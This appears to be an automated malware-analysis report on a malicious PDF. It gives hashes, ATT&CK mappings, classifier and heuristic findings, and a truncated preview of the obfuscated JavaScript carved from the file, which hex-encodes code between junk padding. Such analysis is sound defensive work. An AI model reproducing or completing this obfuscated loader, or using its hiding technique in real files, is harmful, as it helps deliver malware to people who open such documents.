Malicious PDF — malware analysis report

Static analysis result for SHA-256 750759dfaff0f918…

MALICIOUS

PDF

26.1 KB
MD5: 0bd571e157d38667a05493359d8de628 SHA-1: b1365d59f7117da0ac4652f9d7aa7f2ef6d3af31 SHA-256: 750759dfaff0f918596d5cf0a17edd17dbca32bc7ef20665ef5e6694316b3212
146 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript with multiple eval() calls, indicating an attempt to obfuscate malicious code. This JavaScript is likely designed to exploit a known PDF vulnerability, leading to the execution of a second-stage payload. The ML classifier strongly flags this PDF as malicious, supporting the assessment of a malicious document delivered via spearphishing.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0032_000.js
5453ee31cc9ac943c7b7dda15fa214fd469c9636bd59977913e96ef835248601		 pdf-javascript-stream PDF /JS object 32 at offset 0x2CA 2860358 bytes
Preview script
First 1,000 lines of the extracted script
var vcz = '3lBOLsJPKYFLuxQapQ5CEguFkQ9fG                         6496222222124774624196                                                                   7Wz73lRhlGDgHlgqh7T8h9hC                                     9313938522                                   fBC9b0Ys0up1eIVcO9So4BuXo            4794822262159         fV9HDFDs73j5dpVLgyb2984813239156994                                  uqrPdBxlYdGovJ7y79YgPK7867863931             2hAY1CDBPd4KKyfLHVCU663lBOLsJPKYFLuxQapQ5CEguFkQ9fG                         6496222222124774624196                                                                   7Wz73lRhlGDgHlgqh7T8h9hC                                     9313938522                                   fBC9b0Ys0up1eIVcO9So4BuXo            4794822262159         fV9HDFDs73j5dpVLgyb2984813239156994                                  uqrPdBxlYdGovJ7y79YgPK7867863931             2hAY1CDBPd4KKyfLHVCU753lBOLsJPKYFLuxQapQ5CEguFkQ9fG                         6496222222124774624196                                                                   7Wz73lRhlGDgHlgqh7T8h9hC                                     9313938522                                   fBC9b0Ys0up1eIVcO9So4BuXo            4794822262159         fV9HDFDs73j5dpVLgyb2984813239156994                                  uqrPdBxlYdGovJ7y79YgPK7867863931             2hAY1CDBPd4KKyfLHVCU6e3lBOLsJPKYFLuxQapQ5CEguFkQ9fG                         6496222222124774624196                                                                   7Wz73lRhlGDgHlgqh7T8h9hC                                     9313938522                                   fBC9b0Ys0up1eIVcO9So4BuXo            4794822262159         fV9HDFDs73j5dpVLgyb2984813239156994                                  uqrPdBxlYdGovJ7y79YgPK7867863931             2hAY1CDBPd4KKyfLHVCU633lBOLsJPKYFLuxQapQ5CEguFkQ9fG                         6496222222124774624196                                                                   7Wz73lRhlGDgHlgqh7T8h9hC                                     9313938522                                   fBC9b0Ys0up1eIVcO9So4BuXo            4794822262159         fV9HDFDs73j5dpVLgyb2984813239156994                                  uqrPdBxlYdGovJ7y79YgPK7867863931             2hAY1CDBPd4KKyfLHVCU743lBOLsJPKYFLuxQapQ5CEguFkQ9fG                         6496222222124774624196                                                                   7Wz73lRhlGDgHlgqh7T8h9hC                                     9313938522                                   fBC9b0Ys0up1eIVcO9So4BuXo            4794822262159         fV9HDFDs73j5dpVLgyb2984813239156994                                  uqrPdBxlYdGovJ7y79YgPK7867863931             2hAY1CDBPd4KKyfLHVCU693lBOLsJPKYFLuxQapQ5CEguFkQ9fG                         6496222222124774624196                                                                   7Wz73lRhlGDgHlgqh7T8h9hC                                     9313938522                                   fBC9b0Ys0up1eIVcO9So4BuXo            4794822262159         fV9HDFDs73j5dpVLgyb2984813239156994                                  uqrPdBxlYdGovJ7y79YgPK7867863931             2hAY1CDBPd4KKyfLHVCU6f3lBOLsJPKYFLuxQapQ5CEguFkQ9fG                         6496222222124774624196                                                                   7Wz73lRhlGDgHlgqh7T8h9hC                                     9313938522                                   fBC9b0Ys0up1eIVcO9So4BuXo            4794822262159         fV9HDFDs73j5dpVLgyb2984813239156994                                  uqrPdBxlYdGovJ7y79YgPK7867863931             2hAY1CDBPd4KKyfLHVCU6e3lBOLsJPKYFLuxQapQ5CEguFkQ9fG                         6496222222124774624196                                                                   7Wz73lRhlGDgHlgqh7T8h9hC                                     9313938522                                   fBC9b0Ys0up1eIVcO9So4BuXo            4794822262159         fV9HDFDs73j5dpVLgyb2984813239156994                                  uqrPdBxlYdGovJ7y79YgPK7867863931             2hAY1CDBPd4KKyfLHVCU203lBOLsJPKYFLuxQapQ5CEguFkQ9fG                         6496222222124774624196             
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.